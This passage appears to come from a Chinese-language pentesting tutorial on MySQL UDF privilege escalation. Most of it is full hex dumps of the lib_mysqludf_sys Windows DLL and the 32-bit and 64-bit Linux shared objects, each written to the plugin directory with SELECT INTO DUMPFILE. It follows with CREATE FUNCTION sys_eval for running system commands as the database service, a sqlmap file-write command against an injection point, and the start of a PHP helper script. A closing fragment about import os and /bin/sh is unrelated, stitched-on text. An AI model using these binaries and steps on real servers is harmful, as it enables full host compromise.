05100c22273616ececc02e702850eb27244fd820fc007273726300136027b3c7013226650942fca664b0702728421b4036c08d6d05ca7212d3060000000000009000ff0048894c240848895424104c8944241880fa010f854502000053565755488d35cdf0ffff488dbe0080ffff5731db31c94883cdffe85000000001db7402f3c38b1e4883eefc11db8a16f3c3488d042f83f9058a1076214883fdfc771b83e9048b104883c00483e9048917488d7f0473ef83c1048a10741048ffc0881783e9018a10488d7f0175f0f3c3fc415beb0848ffc6881748ffc78a1601db750a8b1e4883eefc11db8a1672e68d410141ffd311c001db750a8b1e4883eefc11db8a1673eb83e8037217c1e0080fb6d209d048ffc683f0ff0f843a0000004863e88d410141ffd311c941ffd311c9751889c183c00241ffd311c901db75088b1e4883eefc11db73ed4881fd00f3ffff11c1e83affffffeb835e4889f7b900120000b2004889fbeb2c8a074883c7013c80720a3c8f7706807ffe0f74062ce83c0177233817751f8b072500ffffff0fc829f801d8ab4883e9048a074883c70148ffc975d9eb0548ffc975be4883ec28488dbe007000008b0709c0744f8b5f04488d8c30b0a100004801f34883c708ff96eca1000048958a0748ffc708c074d74889f94889faffc8f2ae4889e9ff96f4a100004809c074094889034883c308ebd64883c4285d5f5e5b31c0c34883c4284883c704488d5efc31c08a0748ffc709c074233cef77114801c3488b03480fc84801f0488903ebe0240fc1e010668b074883c702ebe1488baefca10000488dbe00f0ffffbb00100000504989e141b8040000004889da4889f94883ec20ffd5488d871702000080207f8060287f4c8d4c24204d8b014889da4889f9ffd54883c4285d5f5e5b488d4424806a004839c475f94883ec804c8b442418488b542410488b4c2408e91f79ffff000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000040000000000010018000000180000800000000000000000040000000000010002000000300000800000000000000000040000000000010009040000480000005cb0000054010000e404000000000000586000003c617373656d626c7920786d6c6e733d2275726e3a736368656d61732d6d6963726f736f66742d636f6d3a61736d2e763122206d616e696665737456657273696f6e3d22312e30223e0d0a20203c646570656e64656e63793e0d0a202020203c646570656e64656e74417373656d626c793e0d0a2020202020203c617373656d626c794964656e7469747920747970653d2277696e333222206e616d653d224d6963726f736f66742e564338302e435254222076657273696f6e3d22382e302e35303630382e30222070726f636573736f724172636869746563747572653d22616d64363422207075626c69634b6579546f6b656e3d2231666338623362396131653138653362223e3c2f617373656d626c794964656e746974793e0d0a202020203c2f646570656e64656e74417373656d626c793e0d0a20203c2f646570656e64656e63793e0d0a3c2f617373656d626c793e0000000000000000000000002cb20000ecb1000000000000000000000000000039b200001cb20000000000000000000000000000000000000000000044b200000000000052b200000000000062b200000000000072b200000000000080b200000000000000000000000000008eb200000000000000000000000000004b45524e454c33322e444c4c004d5356435238302e646c6c00004c6f61644c69627261727941000047657450726f634164647265737300005669727475616c50726f7465637400005669727475616c416c6c6f6300005669727475616c46726565000000667265650000000000000000a727a15a0000000074b30000010000001200000012000000c0b2000008b3000050b300007010000060100000001000008015000060100000701500002014000060100000901300000014000060100000901300003011000060100000c010000000130000e0120000a011000089b300009fb30000bcb30000d7b30000e3b30000f6b3000007b4000010b4000020b400002eb4000037b4000047b4000055b400005db400006cb4000079b4000081b4000090b4000000000100020003000400050006000700080009000a000b000c000d000e000f00100011006c69625f6d7973716c7564665f7379732e646c6c006c69625f6d7973716c7564665f7379735f696e666f006c69625f6d7973716c7564665f7379735f696e666f5f6465696e6974006c69625f6d7973716c7564665f7379735f696e666f5f696e6974007379735f62696e6576616c007379735f62696e6576616c5f6465696e6974007379735f62696e6576616c5f696e6974007379735f6576616c007379735f6576616c5f6465696e6974007379735f6576616c5f696e6974007379735f65786563007379735f657865635f6465696e6974007379735f657865635f696e6974007379735f676574007379735f6765745f6465696e6974007379735f6765745f696e6974007379735f736574007379735f7365745f6465696e6974007379735f7365745f696e69740000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000 INTO DUMPFILE 'C:\\Program Files\\MySQL\\MySQL Server 5.3\\lib\\plugin\\udf.dll'; |
32位linux so文件写入模板:
1 | SELECT 0x7f454c4601010100000000000000000003000300010000007009000034000000581200000000000034002000040028001900180001000000000000000000000000000000f80e0000f80e00000500000000100000010000000010000000100000001000000801000010010000060000000010000002000000141000001410000014100000d0000000d0000000060000000400000051e5746400000000000000000000000000000000000000000600000004000000250000002a0000001400000008000000270000001d0000000000000000000000030000000000000011000000000000000a0000002900000012000000200000000000000000000000260000000c0000002100000017000000230000000d000000000000000e0000001c000000150000000000000006000000000000000000000010000000220000000f0000002400000019000000180000000000000000000000000000000000000000000000000000001a0000000200000013000000050000000000000000000000000000000000000000000000000000001f00000001000000280000000000000000000000000000000000000000000000070000002500000016000000000000000b00000000000000000000000000000000000000000000001e0000001b0000000000000000000000090000000000000000000000040000000000000011000000130000000400000007000000010804409019c7c9bda4080390046083130000001500000016000000180000001a0000001c0000001f00000021000000000000002200000000000000230000002400000026000000280000002900000000000000ce2cc0ba673c7690ebd3ef0e78722788b98df10ed871581cc1e2f7dea868be12bbe3927c7e8b92cd1e7066a9c3f9bfba745bb073371974ec4345d5ecc5a62c1cc3138aff36ac68ae3b9fd4a0ac73d1c525681b320b5911feab5fbe1200000000000000000000000000000000e7000000000000008d00000012000000c2000000000000005c00000012000000ba00000000000000e7040000120000000100000000000000000000002000000025000000000000000000000020000000ed000000000000007e02000012000000ab01000000000000150100001200000079010000000000007d00000012000000c700000000000000c600000012000000f50000000000000071010000120000009e01000000000000fb00000012000000cf00000000000000700000001200000010010000000000002500000012000000e0000000000000008901000012000000b500000000000000a80200001200000016000000000000000b0100002200000088010000000000007400000012000000fb00000000000000230000001200000080010000040d00006100000012000b00750000003b0a00000500000012000b0010000000f80d00000000000012000c003f010000a10c00002500000012000b001f010000100900000000000012000900c301000008110000000000001000f1ff96000000470a00000500000012000b0070010000ee0c00001600000012000b00cf01000010110000000000001000f1ff56000000310a00000500000012000b00020100009c0b00003000000012000b00a30100007d0d00003e00000012000b00390000002c0a00000500000012000b00320100006b0c00003600000012000b00bc01000008110000000000001000f1ff65000000360a00000500000012000b0025010000fc0b00006f00000012000b0085000000400a00000700000012000b0017010000cc0b00003000000012000b0055010000c60c00002800000012000b00a90000004c0a00008800000012000b008f010000650d00001800000012000b00d7000000d40a0000c800000012000b00005f5f676d6f6e5f73746172745f5f005f66696e69005f5f6378615f66696e616c697a65005f4a765f5265676973746572436c6173736573006c69625f6d7973716c7564665f7379735f696e666f5f6465696e6974007379735f6765745f6465696e6974007379735f657865635f6465696e6974007379735f6576616c5f6465696e6974007379735f62696e6576616c5f696e6974007379735f62696e6576616c5f6465696e6974007379735f62696e6576616c00666f726b00737973636f6e66006d6d6170007374726e6370790077616974706964007379735f6576616c006d616c6c6f6300706f70656e007265616c6c6f630066676574730070636c6f7365007379735f6576616c5f696e697400737472637079007379735f657865635f696e6974007379735f7365745f696e6974007379735f6765745f696e6974006c69625f6d7973716c7564665f7379735f696e666f006c69625f6d7973716c7564665f7379735f696e666f5f696e6974007379735f657865630073797374656d007379735f73657400736574656e76007379735f7365745f6465696e69740066726565007379735f67657400676574656e76006c6962632e736f2e36005f6564617461005f5f6273735f7374617274005f656e6400474c4942435f322e312e3300474c4942435f322e3000474c4942435f322e310000000200030003000000000003000300030003000300030003000300030003000400030002000100010001000100010001000100010001000100010001000100010001000100010001000100010001000100010001000300b20100001000000000000000731f690900000400d4010000100000001069690d00000300e0010000100000001169690d00000200ea01000000000000040b000008000000b70b000008000000e70b000008000000110c000008000000220c000008000000550c0000080000008e0c000008000000ac0c000008000000d90c00000800000004110000080000006b0a0000020f00007c0a000002030000960a000002020000ad0a000002090000430b000002090000bc0a0000020c0000e40a0000020e0000f30a0000020e00003f0c0000020e00000e0b000002010000310b000002060000560b0000020a0000680b000002120000bf0b0000020d0000ef0b0000020d00005b0c0000020d0000960c0000020d0000b20c0000020d0000e10c0000020d0000fd0c000002080000580d000002110000770d0000020b00008e0d000002070000e410000006040000e810000006050000ec10000006100000fc1000000704000000110000071000005589e55383ec04e8000000005b81c3d40700008b93f4ffffff85d27405e81e000000e8b9000000e884040000585bc9c3ffb304000000ffa30800000000000000ffa30c0000006800000000e9e0ffffffffa3100000006808000000e9d0ffffff5589e55653e8ad00000081c37607000083ec1080bb1800000000755d8b83fcffffff85c0740e8b8314000000890424e8bcffffff8b8b1c0000008d831cffffff8d9318ffffff29d0c1f8028d70ff39f173208db6000000008d410189831c000000ff948318ffffff8b8b1c00000039f172e6c683180000000183c4105b5e5dc35589e553e82e00000081c3f706000083ec048b9320ffffff85d274158b93f8ffffff85d2740b8d8320ffffff890424ffd283c4045b5dc38b1c24c3905589e55dc35589e55dc35589e55dc35589e55dc35531c089e55dc35589e55dc35589e557565383ec0cfc83c9ff8b750c8b46088b3831c0f2aef7d18d59ffe8fcffffff83f8007c53753f83ec0c6a1ee8fcffffff5f596a006a00486a218d1418f7d06a0721d0506a00e8fcffffff83c42083f8ff89c7742351538b4608ff3057e8fcffffffffd7eb0b526a016a0050e8fcffffff31c083c410eb05b8010000008d65f45b5e5f5dc35589e557565383ec18fc6800040000e8fcffffffc70424010000008945e8e8fcffffffc6000089c68b450c595b31db68840e00008b4008ff30e8fcffffff8945eceb338b7de831c083c9fff2ae5252f7d18d79ff8d043b50568945f0e8fcffffff83c40c57ff75e889c68d041850e8fcffffff8b5df083c40cff75ec6a04ff75e8e8fcffffff83c41085c075b683ec0cff75ece8fcffffff83c410803e0075088b4518c60001eb16c6441eff0031c083c9ff89f7f2ae8b4514f7d14989088d65f489f05b5e5f5dc35589e583ec088b450c833801750a8b400431d28338007414505068140e0000ff7510e8fcffffffb20183c41088d0c9c35589e583ec088b450c833801750a8b400431d28338007414505068140e0000ff7510e8fcffffffb20183c41088d0c9c35589e55383ec048b550c8b5d10833a0274095050683f0e0000eb428b420483380074095050685e0e0000eb318b520c83ec0cc74004000000008b0283c00203420450e8fcffffff8b550883c41089420c31d285c07512505068860e000053e8fcffffffb20183c41088d08b5dfcc9c35589e583ec088b450c83380175128b4004833800750a8b4508c6000131c0eb14505068140e0000ff7510e8fcffffffb00183c410c9c35589e55383ec0c8b5d1068a00e000053e8fcffffff8b4514c7001e00000089d88b5dfcc9c35531d289e583ec088b450c8338007414525268bf0e0000ff7510e8fcffffffb20183c41088d0c9c35589e583ec148b450c8b4008ff30e8fcffffffc999c35589e557565383ec10fc8b550c8b45088b580c8b420c89df8b088d440b018945e88b42088b30f3a48b420c8b00c60403008b42088b4a0c8b7de88b70048b4904f3a48b420c8b55e88b4004c60402006a015253e8fcffffff8d65f45b5e5f5d99c35589e58b45088b400c85c074098945085de9fcffffff5dc35589e55783ec10fc8b450c8b4008ff30e8fcffffff83c41085c089c275088b4518c60001eb1131c083c9ff89d7f2ae8b4514f7d149890889d08b7dfcc9c390909090905589e55653e85dfcffff81c3260300008b8310ffffff83f8ff74198db310ffffff8db4260000000083ee04ffd08b0683f8ff75f45b5e5dc35589e55383ec04e8000000005b81c3ec020000e860fbffff595bc9c345787065637465642065786163746c79206f6e6520737472696e67207479706520706172616d657465720045787065637465642065786163746c792074776f20617267756d656e747300457870656374656420737472696e67207479706520666f72206e616d6520706172616d6574657200436f756c64206e6f7420616c6c6f63617465206d656d6f7279006c69625f6d7973716c7564665f7379732076657273696f6e20302e302e34004e6f20617267756d656e747320616c6c6f77656420287564663a206c69625f6d7973716c7564665f7379735f696e666f290000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000ffffffff00000000ffffffff000000000000000001000000b20100000c000000100900000d000000f80d000004000000b4000000f5feff6ff8010000050000005805000006000000b80200000a000000f40100000b0000001000000003000000f010000002000000100000001400000011000000170000000009000011000000e0070000120000002001000013000000080000001600000000000000feffff6fa0070000ffffff6f01000000f0ffff6f4c070000faffff6f0a00000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000141000000000000000000000560900006609000004110000004743433a202844656269616e20342e332e322d312e312920342e332e3200004743433a202844656269616e20342e332e322d312e312920342e332e3200004743433a202844656269616e20342e332e322d312e312920342e332e3200004743433a202844656269616e20342e332e322d312e312920342e332e3200004743433a202844656269616e20342e332e322d312e312920342e332e3200002e7368737472746162002e676e752e68617368002e64796e73796d002e64796e737472002e676e752e76657273696f6e002e676e752e76657273696f6e5f72002e72656c2e64796e002e72656c2e706c74002e696e6974002e74657874002e66696e69002e726f64617461002e65685f6672616d65002e63746f7273002e64746f7273002e6a6372002e64796e616d6963002e676f74002e676f742e706c74002e64617461002e627373002e636f6d6d656e7400000000000000000000000000000000000000000000000000000000000000000000000000000000000f0000000500000002000000b4000000b400000044010000030000000000000004000000040000000b000000f6ffff6f02000000f8010000f8010000c000000003000000000000000400000004000000150000000b00000002000000b8020000b8020000a0020000040000000100000004000000100000001d00000003000000020000005805000058050000f40100000000000000000000010000000000000025000000ffffff6f020000004c0700004c070000540000000300000000000000020000000200000032000000feffff6f02000000a0070000a00700004000000004000000010000000400000000000000410000000900000002000000e0070000e007000020010000030000000000000004000000080000004a0000000900000002000000000900000009000010000000030000000a0000000400000008000000530000000100000006000000100900001009000030000000000000000000000004000000000000004e000000010000000600000040090000400900003000000000000000000000000400000004000000590000000100000006000000700900007009000088040000000000000000000010000000000000005f0000000100000006000000f80d0000f80d00001c00000000000000000000000400000000000000650000000100000032000000140e0000140e0000dd000000000000000000000001000000010000006d0000000100000002000000f40e0000f40e00000400000000000000000000000400000000000000770000000100000003000000001000000010000008000000000000000000000004000000000000007e000000010000000300000008100000081000000800000000000000000000000400000000000000850000000100000003000000101000001010000004000000000000000000000004000000000000008a00000006000000030000001410000014100000d000000004000000000000000400000008000000930000000100000003000000e4100000e41000000c00000000000000000000000400000004000000980000000100000003000000f0100000f01000001400000000000000000000000400000004000000a1000000010000000300000004110000041100000400000000000000000000000400000000000000a7000000080000000300000008110000081100000800000000000000000000000400000000000000ac000000010000000000000000000000081100009b0000000000000000000000010000000000000001000000030000000000000000000000a3110000b500000000000000000000000100000000000000 INTO DUMPFILE '/usr/lib/mysql/plugin/udf.so'; |
64位linux so文件写入模板:
1 | SELECT 0x7f454c4602010100000000000000000003003e0001000000d00c0000000000004000000000000000e8180000000000000000000040003800050040001a00190001000000050000000000000000000000000000000000000000000000000000001415000000000000141500000000000000002000000000000100000006000000181500000000000018152000000000001815200000000000700200000000000080020000000000000000200000000000020000000600000040150000000000004015200000000000401520000000000090010000000000009001000000000000080000000000000050e57464040000006412000000000000641200000000000064120000000000009c000000000000009c00000000000000040000000000000051e5746406000000000000000000000000000000000000000000000000000000000000000000000000000000000000000800000000000000250000002b0000001500000005000000280000001e000000000000000000000006000000000000000c00000000000000070000002a00000009000000210000000000000000000000270000000b0000002200000018000000240000000e00000000000000040000001d0000001600000000000000130000000000000000000000120000002300000010000000250000001a0000000f000000000000000000000000000000000000001b00000000000000030000000000000000000000000000000000000000000000000000002900000014000000000000001900000020000000000000000a00000011000000000000000000000000000000000000000d0000002600000017000000000000000800000000000000000000000000000000000000000000001f0000001c0000000000000000000000000000000000000000000000020000000000000011000000140000000200000007000000800803499119c4c93da4400398046883140000001600000017000000190000001b0000001d0000002000000022000000000000002300000000000000240000002500000027000000290000002a00000000000000ce2cc0ba673c7690ebd3ef0e78722788b98df10ed871581cc1e2f7dea868be12bbe3927c7e8b92cd1e7066a9c3f9bfba745bb073371974ec4345d5ecc5a62c1cc3138aff36ac68ae3b9fd4a0ac73d1c525681b320b5911feab5fbe120000000000000000000000000000000000000000000000000000000003000900a00b0000000000000000000000000000010000002000000000000000000000000000000000000000250000002000000000000000000000000000000000000000e0000000120000000000000000000000de01000000000000790100001200000000000000000000007700000000000000ba0000001200000000000000000000003504000000000000f5000000120000000000000000000000c2010000000000009e010000120000000000000000000000d900000000000000fb000000120000000000000000000000050000000000000016000000220000000000000000000000fe00000000000000cf000000120000000000000000000000ad00000000000000880100001200000000000000000000008000000000000000ab010000120000000000000000000000250100000000000010010000120000000000000000000000dc00000000000000c7000000120000000000000000000000c200000000000000b5000000120000000000000000000000cc02000000000000ed000000120000000000000000000000e802000000000000e70000001200000000000000000000009b00000000000000c200000012000000000000000000000028000000000000008001000012000b007a100000000000006e000000000000007500000012000b00a70d00000000000001000000000000001000000012000c00781100000000000000000000000000003f01000012000b001a100000000000002d000000000000001f01000012000900a00b0000000000000000000000000000c30100001000f1ff881720000000000000000000000000009600000012000b00ab0d00000000000001000000000000007001000012000b0066100000000000001400000000000000cf0100001000f1ff981720000000000000000000000000005600000012000b00a50d00000000000001000000000000000201000012000b002e0f0000000000002900000000000000a301000012000b00f71000000000000041000000000000003900000012000b00a40d00000000000001000000000000003201000012000b00ea0f0000000000003000000000000000bc0100001000f1ff881720000000000000000000000000006500000012000b00a60d00000000000001000000000000002501000012000b00800f0000000000006a000000000000008500000012000b00a80d00000000000003000000000000001701000012000b00570f00000000000029000000000000005501000012000b0047100000000000001f00000000000000a900000012000b00ac0d0000000000009a000000000000008f01000012000b00e8100000000000000f00000000000000d700000012000b00460e000000000000e800000000000000005f5f676d6f6e5f73746172745f5f005f66696e69005f5f6378615f66696e616c697a65005f4a765f5265676973746572436c6173736573006c69625f6d7973716c7564665f7379735f696e666f5f6465696e6974007379735f6765745f6465696e6974007379735f657865635f6465696e6974007379735f6576616c5f6465696e6974007379735f62696e6576616c5f696e6974007379735f62696e6576616c5f6465696e6974007379735f62696e6576616c00666f726b00737973636f6e66006d6d6170007374726e6370790077616974706964007379735f6576616c006d616c6c6f6300706f70656e007265616c6c6f630066676574730070636c6f7365007379735f6576616c5f696e697400737472637079007379735f657865635f696e6974007379735f7365745f696e6974007379735f6765745f696e6974006c69625f6d7973716c7564665f7379735f696e666f006c69625f6d7973716c7564665f7379735f696e666f5f696e6974007379735f657865630073797374656d007379735f73657400736574656e76007379735f7365745f6465696e69740066726565007379735f67657400676574656e76006c6962632e736f2e36005f6564617461005f5f6273735f7374617274005f656e6400474c4942435f322e322e35000000000000000000020002000200020002000200020002000200020002000200020002000200020001000100010001000100010001000100010001000100010001000100010001000100010001000100010001000100000001000100b20100001000000000000000751a690900000200d401000000000000801720000000000008000000000000008017200000000000d01620000000000006000000020000000000000000000000d81620000000000006000000030000000000000000000000e016200000000000060000000a00000000000000000000000017200000000000070000000400000000000000000000000817200000000000070000000500000000000000000000001017200000000000070000000600000000000000000000001817200000000000070000000700000000000000000000002017200000000000070000000800000000000000000000002817200000000000070000000900000000000000000000003017200000000000070000000a00000000000000000000003817200000000000070000000b00000000000000000000004017200000000000070000000c00000000000000000000004817200000000000070000000d00000000000000000000005017200000000000070000000e00000000000000000000005817200000000000070000000f00000000000000000000006017200000000000070000001000000000000000000000006817200000000000070000001100000000000000000000007017200000000000070000001200000000000000000000007817200000000000070000001300000000000000000000004883ec08e827010000e8c2010000e88d0500004883c408c3ff35320b2000ff25340b20000f1f4000ff25320b20006800000000e9e0ffffffff252a0b20006801000000e9d0ffffffff25220b20006802000000e9c0ffffffff251a0b20006803000000e9b0ffffffff25120b20006804000000e9a0ffffffff250a0b20006805000000e990ffffffff25020b20006806000000e980ffffffff25fa0a20006807000000e970ffffffff25f20a20006808000000e960ffffffff25ea0a20006809000000e950ffffffff25e20a2000680a000000e940ffffffff25da0a2000680b000000e930ffffffff25d20a2000680c000000e920ffffffff25ca0a2000680d000000e910ffffffff25c20a2000680e000000e900ffffffff25ba0a2000680f000000e9f0feffff00000000000000004883ec08488b05f50920004885c07402ffd04883c408c390909090909090909055803d900a2000004889e5415453756248833dd809200000740c488b3d6f0a2000e812ffffff488d05130820004c8d2504082000488b15650a20004c29e048c1f803488d58ff4839da73200f1f440000488d4201488905450a200041ff14c4488b153a0a20004839da72e5c605260a2000015b415cc9c3660f1f8400000000005548833dbf072000004889e57422488b05530920004885c07416488d3da70720004989c3c941ffe30f1f840000000000c9c39090c3c3c3c331c0c3c341544883c9ff4989f455534883ec10488b4610488b3831c0f2ae48f7d1488d69ffe8b6feffff83f80089c77c61754fbf1e000000e803feffff488d70ff4531c94531c031ffb921000000ba07000000488d042e48f7d64821c6e8aefeffff4883f8ff4889c37427498b4424104889ea4889df488b30e852feffffffd3eb0cba0100000031f6e802feffff31c0eb05b8010000005a595b5d415cc34157bf00040000415641554531ed415455534889f34883ec1848894c24104c89442408e85afdffffbf010000004989c6e84dfdffffc600004889c5488b4310488d356a030000488b38e814feffff4989c7eb374c89f731c04883c9fff2ae4889ef48f7d1488d59ff4d8d641d004c89e6e8ddfdffff4a8d3c284889da4c89f64d89e54889c5e8a8fdffff4c89fabe080000004c89f7e818fdffff4885c075b44c89ffe82bfdffff807d0000750a488b442408c60001eb1f42c6442dff0031c04883c9ff4889eff2ae488b44241048f7d148ffc94889084883c4184889e85b5d415c415d415e415fc34883ec08833e014889d7750b488b460831d2833800740e488d353a020000e817fdffffb20188d05ec34883ec08833e014889d7750b488b460831d2833800740e488d3511020000e8eefcffffb20188d05fc3554889fd534889d34883ec08833e027409488d3519020000eb3f488b46088338007409488d3526020000eb2dc7400400000000488b4618488b384883c70248037808e801fcffff31d24885c0488945107511488d351f0200004889dfe887fcffffb20141585b88d05dc34883ec08833e014889f94889d77510488b46088338007507c6010131c0eb0e488d3576010000e853fcffffb0014159c34154488d35ef0100004989cc4889d7534889d34883ec08e832fcffff49c704241e0000004889d8415a5b415cc34883ec0831c0833e004889d7740e488d35d5010000e807fcffffb001415bc34883ec08488b4610488b38e862fbffff5a4898c34883ec28488b46184c8b4f104989f2488b08488b46104c89cf488b004d8d4409014889c6f3a44c89c7498b4218488b0041c6040100498b4210498b5218488b4008488b4a08ba010000004889c6f3a44c89c64c89cf498b4218488b400841c6040000e867fbffff4883c4284898c3488b7f104885ff7405e912fbffffc3554889cd534c89c34883ec08488b4610488b38e849fbffff4885c04889c27505c60301eb1531c04883c9ff4889d7f2ae48f7d148ffc948894d00595b4889d05dc39090909090909090554889e5534883ec08488b05c80320004883f8ff7419488d1dbb0320000f1f004883eb08ffd0488b034883f8ff75f14883c4085bc9c390904883ec08e86ffbffff4883c408c345787065637465642065786163746c79206f6e6520737472696e67207479706520706172616d657465720045787065637465642065786163746c792074776f20617267756d656e747300457870656374656420737472696e67207479706520666f72206e616d6520706172616d6574657200436f756c64206e6f7420616c6c6f63617465206d656d6f7279006c69625f6d7973716c7564665f7379732076657273696f6e20302e302e34004e6f20617267756d656e747320616c6c6f77656420287564663a206c69625f6d7973716c7564665f7379735f696e666f290000011b033b980000001200000040fbffffb400000041fbffffcc00000042fbffffe400000043fbfffffc00000044fbffff1401000047fbffff2c01000048fbffff44010000e2fbffff6c010000cafcffffa4010000f3fcffffbc0100001cfdffffd401000086fdfffff4010000b6fdffff0c020000e3fdffff2c02000002feffff4402000016feffff5c02000084feffff7402000093feffff8c0200001400000000000000017a5200017810011b0c070890010000140000001c00000084faffff01000000000000000000000014000000340000006dfaffff010000000000000000000000140000004c00000056faffff01000000000000000000000014000000640000003ffaffff010000000000000000000000140000007c00000028faffff030000000000000000000000140000009400000013faffff01000000000000000000000024000000ac000000fcf9ffff9a00000000420e108c02480e18410e20440e3083048603000000000034000000d40000006efaffffe800000000420e10470e18420e208d048e038f02450e28410e30410e38830786068c05470e50000000000000140000000c0100001efbffff2900000000440e100000000014000000240100002ffbffff2900000000440e10000000001c0000003c01000040fbffff6a00000000410e108602440e188303470e200000140000005c0100008afbffff3000000000440e10000000001c00000074010000a2fbffff2d00000000420e108c024e0e188303470e2000001400000094010000affbffff1f00000000440e100000000014000000ac010000b6fbffff1400000000440e100000000014000000c4010000b2fbffff6e00000000440e300000000014000000dc01000008fcffff0f00000000000000000000001c000000f4010000fffbffff4100000000410e108602440e188303470e2000000000000000000000ffffffffffffffff0000000000000000ffffffffffffffff000000000000000000000000000000000100000000000000b2010000000000000c00000000000000a00b0000000000000d00000000000000781100000000000004000000000000005801000000000000f5feff6f00000000a00200000000000005000000000000006807000000000000060000000000000060030000000000000a00000000000000e0010000000000000b0000000000000018000000000000000300000000000000e81620000000000002000000000000008001000000000000140000000000000007000000000000001700000000000000200a0000000000000700000000000000c0090000000000000800000000000000600000000000000009000000000000001800000000000000feffff6f00000000a009000000000000ffffff6f000000000100000000000000f0ffff6f000000004809000000000000f9ffff6f0000000001000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000401520000000000000000000000000000000000000000000ce0b000000000000de0b000000000000ee0b000000000000fe0b0000000000000e0c0000000000001e0c0000000000002e0c0000000000003e0c0000000000004e0c0000000000005e0c0000000000006e0c0000000000007e0c0000000000008e0c0000000000009e0c000000000000ae0c000000000000be0c0000000000008017200000000000004743433a202844656269616e20342e332e322d312e312920342e332e3200004743433a202844656269616e20342e332e322d312e312920342e332e3200004743433a202844656269616e20342e332e322d312e312920342e332e3200004743433a202844656269616e20342e332e322d312e312920342e332e3200004743433a202844656269616e20342e332e322d312e312920342e332e3200002e7368737472746162002e676e752e68617368002e64796e73796d002e64796e737472002e676e752e76657273696f6e002e676e752e76657273696f6e5f72002e72656c612e64796e002e72656c612e706c74002e696e6974002e74657874002e66696e69002e726f64617461002e65685f6672616d655f686472002e65685f6672616d65002e63746f7273002e64746f7273002e6a6372002e64796e616d6963002e676f74002e676f742e706c74002e64617461002e627373002e636f6d6d656e7400000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000f0000000500000002000000000000005801000000000000580100000000000048010000000000000300000000000000080000000000000004000000000000000b000000f6ffff6f0200000000000000a002000000000000a002000000000000c000000000000000030000000000000008000000000000000000000000000000150000000b00000002000000000000006003000000000000600300000000000008040000000000000400000002000000080000000000000018000000000000001d00000003000000020000000000000068070000000000006807000000000000e00100000000000000000000000000000100000000000000000000000000000025000000ffffff6f020000000000000048090000000000004809000000000000560000000000000003000000000000000200000000000000020000000000000032000000feffff6f0200000000000000a009000000000000a009000000000000200000000000000004000000010000000800000000000000000000000000000041000000040000000200000000000000c009000000000000c00900000000000060000000000000000300000000000000080000000000000018000000000000004b000000040000000200000000000000200a000000000000200a0000000000008001000000000000030000000a0000000800000000000000180000000000000055000000010000000600000000000000a00b000000000000a00b000000000000180000000000000000000000000000000400000000000000000000000000000050000000010000000600000000000000b80b000000000000b80b00000000000010010000000000000000000000000000040000000000000010000000000000005b000000010000000600000000000000d00c000000000000d00c000000000000a80400000000000000000000000000001000000000000000000000000000000061000000010000000600000000000000781100000000000078110000000000000e000000000000000000000000000000040000000000000000000000000000006700000001000000320000000000000086110000000000008611000000000000dd000000000000000000000000000000010000000000000001000000000000006f000000010000000200000000000000641200000000000064120000000000009c000000000000000000000000000000040000000000000000000000000000007d000000010000000200000000000000001300000000000000130000000000001402000000000000000000000000000008000000000000000000000000000000870000000100000003000000000000001815200000000000181500000000000010000000000000000000000000000000080000000000000000000000000000008e000000010000000300000000000000281520000000000028150000000000001000000000000000000000000000000008000000000000000000000000000000950000000100000003000000000000003815200000000000381500000000000008000000000000000000000000000000080000000000000000000000000000009a000000060000000300000000000000401520000000000040150000000000009001000000000000040000000000000008000000000000001000000000000000a3000000010000000300000000000000d016200000000000d0160000000000001800000000000000000000000000000008000000000000000800000000000000a8000000010000000300000000000000e816200000000000e8160000000000009800000000000000000000000000000008000000000000000800000000000000b1000000010000000300000000000000801720000000000080170000000000000800000000000000000000000000000008000000000000000000000000000000b7000000080000000300000000000000881720000000000088170000000000001000000000000000000000000000000008000000000000000000000000000000bc000000010000000000000000000000000000000000000088170000000000009b000000000000000000000000000000010000000000000000000000000000000100000003000000000000000000000000000000000000002318000000000000c500000000000000000000000000000001000000000000000000000000000000 INTO DUMPFILE '/usr/lib/mysql/plugin/udf.so'; |
如果不存在的话可以在 webshell 中找到 MySQL 的安装目录然后手工创建 \lib\plugin
文件夹。
在收集材料时发现win环境下还可以利用NTFS ADS流来创建文件夹的方法:
1 | select @@basedir; //查找到mysql的目录 |
使用CREATE FUNCTION
来创建 自定义函数
1 | CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.dll'; |
创建后,我们可以用在``mysql.func`查询是否创建成功。
1 | select * from mysql.func; |
这里我们定义创建的是sys_eval
函数,若在``mysql.func`查询成功则我们可以调用这个函数来执行系统命令(这个权限是最高系统权限)。使用方法如下:
1 | mysql > select sys_eval('whoami'); |
同时,我们在使用后,可以用drop function
来删除自定义函数
这个,是在国光师傅文章里看到的操作。
在有注入点情况下,我们可以直接sqlmap来写入链接库,模板如下:
1 | sqlmap -u "http://localhost:30008/" --data="id=1" --file-write="/Users/sec/Desktop/lib_mysqludf_sys_64.so" --file-dest="/usr/lib/mysql/plugin/udf.so" |
在内网情况下,无法直连 MySQL 或者 MySQL 不允许外连,这个时候可以用一些网页脚本来辅助,这里找到一个win下的:
Win udf.php:
1 | <?php |
同时,Navicat MySQL可以处理目标 MySQL 不允许外连,但是可以上传 PHP 脚本情况(展示没到这个软件)
(
与)
两个括号还能否执行函数?是否还能import os 执行 /bin/sh
